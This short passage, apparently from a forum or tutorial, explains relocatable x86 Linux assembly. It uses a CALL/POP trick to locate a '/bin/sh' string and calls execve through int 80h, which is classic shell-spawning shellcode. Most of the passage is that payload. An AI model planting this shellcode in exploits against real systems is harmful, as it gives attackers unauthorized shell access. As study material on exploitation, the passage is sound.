Try with relocatable code and data. This last thing is acomplished by figuring out what address our code is in, like this:
call next ;push address of next instruction to stack.
nop ;this is to avoid offset in CALL instruction to be 0.
next: pop ebx ;EBX holds this very same code address
xor ecx,ecx
mov cl,exename-next ;ECX is offset to exename
add ebx,ecx ;now EBX points to exename
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11
int 80h
exename: db "/bin/sh",0
The CALL
instruction is a CALL NEAR
one actually, so it uses an offset, not an absolute address and hence, is relocatable. This code uses only 4 bytes of stack instead of 12.